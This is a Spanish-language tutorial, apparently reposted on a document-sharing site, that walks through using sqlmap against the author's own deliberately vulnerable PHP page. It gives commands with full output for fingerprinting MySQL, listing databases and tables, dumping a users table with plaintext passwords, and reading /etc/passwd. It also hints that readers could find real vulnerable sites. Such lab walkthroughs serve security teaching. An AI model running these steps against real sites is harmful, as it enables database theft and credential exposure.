procedimiento con sqlmap jaja.docx

6
Una vez instalado los PHP y la base de datos, tendremos que suponer que hemos encontrado una URL que aparentemente es vulnerable: http://[mi_servidor]/detail.php?id=8492019 Aparentemente no: !es vulnerable¡ porque la he programado yo. Si estás ansioso por encontrar webs, toma y busca . Empezamos atacando la Web con sqlmap. Lo primero que haremos es ver que versión tiene de MySQL con el parámetro "-b": # ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" -b sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]> and Daniele Bellucci <[email protected]> [*] starting at: 21:58:00 [21:58:01] [WARNING] User-Agent parameter 'User-Agent' is not dynamic back-end DBMS: MySQL >= 5.0.0 banner: '5.0.51b-community' [*] shutting down at: 21:58:07 Vemos que tiene MySql 5.0.51. Ahora queremos saber el nombre de la base de datos con la que está trabajando esta aplicación. Utilizamos el parámetro "-- current-db": # ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --current-db sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]> and Daniele Bellucci <[email protected]> [*] starting at: 22:09:07 [22:09:08] [WARNING] User-Agent parameter 'User-Agent' is not dynamic back-end DBMS: MySQL >= 5.0.0

Upload: danielbsas

Post on 23-Oct-2015

8 views

Category:

Documents


2 download

TRANSCRIPT

Page 1: procedimiento con sqlmap jaja.docx

Una vez instalado los PHP y la base de datos, tendremos que suponer que hemos encontrado una URL que aparentemente es vulnerable:

http://[mi_servidor]/detail.php?id=8492019

Aparentemente no: !es vulnerable¡ porque la he programado yo. Si estás ansioso por encontrar webs, toma y busca.

Empezamos atacando la Web con sqlmap. Lo primero que haremos es ver que versión tiene de MySQL con el parámetro "-b":

# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" -b

sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]>

and Daniele Bellucci <[email protected]>

[*] starting at: 21:58:00

[21:58:01] [WARNING] User-Agent parameter 'User-Agent' is not dynamic

back-end DBMS: MySQL >= 5.0.0

banner: '5.0.51b-community'

[*] shutting down at: 21:58:07

Vemos que tiene MySql 5.0.51. Ahora queremos saber el nombre de la base de datos con la que está trabajando esta aplicación. Utilizamos el parámetro "--current-db":

# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --current-db

sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]>

and Daniele Bellucci <[email protected]>

[*] starting at: 22:09:07

[22:09:08] [WARNING] User-Agent parameter 'User-Agent' is not dynamic

back-end DBMS: MySQL >= 5.0.0

current database: 'midb'

[*] shutting down at: 22:09:09

Page 2: procedimiento con sqlmap jaja.docx

La base de datos se llama midb. Veamos ahora las tablas de esta base de datos. Utilizamos los parámetros "--tables -D midb".

# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --tables -D midb

sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]>

and Daniele Bellucci <[email protected]>

[*] starting at: 22:11:01

[22:11:02] [WARNING] User-Agent parameter 'User-Agent' is not dynamic

back-end DBMS: MySQL >= 5.0.0

Database: midb

[2 tables]

+----------+

| products |

| users |

+----------+

[*] shutting down at: 22:11:05

Bingo!. Vemos que tiene una tabla llamada "users", donde posiblemente están lo usuarios que se logean desde la pagina principal llamada "login.php".

Veamos la estructura de esta tabla. Utilizamos los parámetros "--columns -T users -D midb":

# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --columns -T users -D midb

sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]>

and Daniele Bellucci <[email protected]>

[*] starting at: 22:13:34

[22:13:35] [WARNING] User-Agent parameter 'User-Agent' is not dynamic

back-end DBMS: MySQL >= 5.0.0

Database: midb

Table: users

Page 3: procedimiento con sqlmap jaja.docx

[3 columns]

+----------+------------------+

| Column | Type |

+----------+------------------+

| id | int(10) unsigned |

| password | varchar(45) |

| username | varchar(45) |

+----------+------------------+

[*] shutting down at: 22:13:43

Veamos el contenido de esta tabla. Utilizamos los parámetros "--dump -T users -D midb":

# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --dump -T users -D midb

sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]>

and Daniele Bellucci <[email protected]>

[*] starting at: 22:16:17

[22:16:19] [WARNING] User-Agent parameter 'User-Agent' is not dynamic

back-end DBMS: MySQL >= 5.0.0

Database: midb

Table: users

[3 entries]

+----+---------------+----------+

| id | password | username |

+----+---------------+----------+

| 1 | admin123456 | admin |

| 2 | alberto123456 | alberto |

| 3 | juan123456 | juan |

+----+---------------+----------+

[*] shutting down at: 22:16:27

Ahora la pregunta es saber si tenemos acceso a otras bases de datos. La respuesta es

Page 4: procedimiento con sqlmap jaja.docx

depende. Depende del nivel de seguridad que tenga la aplicación. Naturalmente esta aplicación es mía y no tiene ningún nivel de seguridad.

Veamos que otras bases de datos hay. Utilizamos "--dbs":

# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --dbs

sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]>

and Daniele Bellucci <[email protected]>

[*] starting at: 22:31:25

[22:31:26] [WARNING] User-Agent parameter 'User-Agent' is not dynamic

back-end DBMS: MySQL >= 5.0.0

available databases [6]:

[*] information_schema

[*] midb

[*] mysql

[*] phpmyadmin

[*] test

[*] webauth

[*] shutting down at: 22:31:32

Veamos ahora que usuarios hay en MySQL. Utilizamos "--users":

# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --users

sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]>

and Daniele Bellucci <[email protected]>

[*] starting at: 22:32:43

[22:32:45] [WARNING] User-Agent parameter 'User-Agent' is not dynamic

back-end DBMS: MySQL >= 5.0.0

database management system users [3]:

[*] 'root'@'127.0.0.1'

Page 5: procedimiento con sqlmap jaja.docx

[*] 'root'@'localhost'

[*] shutting down at: 22:32:51

Solo existe un usuario root. Aqui está uno de los problemas. Estamos utilizando el usuario root que trae por defecto MySQL para acceder por PHP. Si estamos utilizando el usuario root para nuestras sentencias de SQL eso quiere decir que podemos hacer llamadas al sistema:

# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --read-file /etc/passwd

sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]>

and Daniele Bellucci <[email protected]>

[*] starting at: 22:59:10

[22:59:11] [WARNING] User-Agent parameter 'User-Agent' is not dynamic

back-end DBMS: MySQL >= 5.0.0

/etc/passwd:

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/bin/sh

man:x:6:12:man:/var/cache/man:/bin/sh

lp:x:7:7:lp:/var/spool/lpd:/bin/sh

mail:x:8:8:mail:/var/mail:/bin/sh

news:x:9:9:news:/var/spool/news:/bin/sh

uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

proxy:x:13:13:proxy:/bin:/bin/sh

www-data:x:33:33:www-data:/var/www:/bin/false

backup:x:34:34:backup:/var/backups:/bin/sh

nobody:x:65534:65534:nobody:/nonexistent:/bin/sh

mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false

[*] shutting down at: 22:59:12

Page 6: procedimiento con sqlmap jaja.docx

Para terminar tenemos un dump de todo el MySql. Utilizamos "--eta --dump-all -v 1". Esto puede tardar bastante y no volcaré el resultado.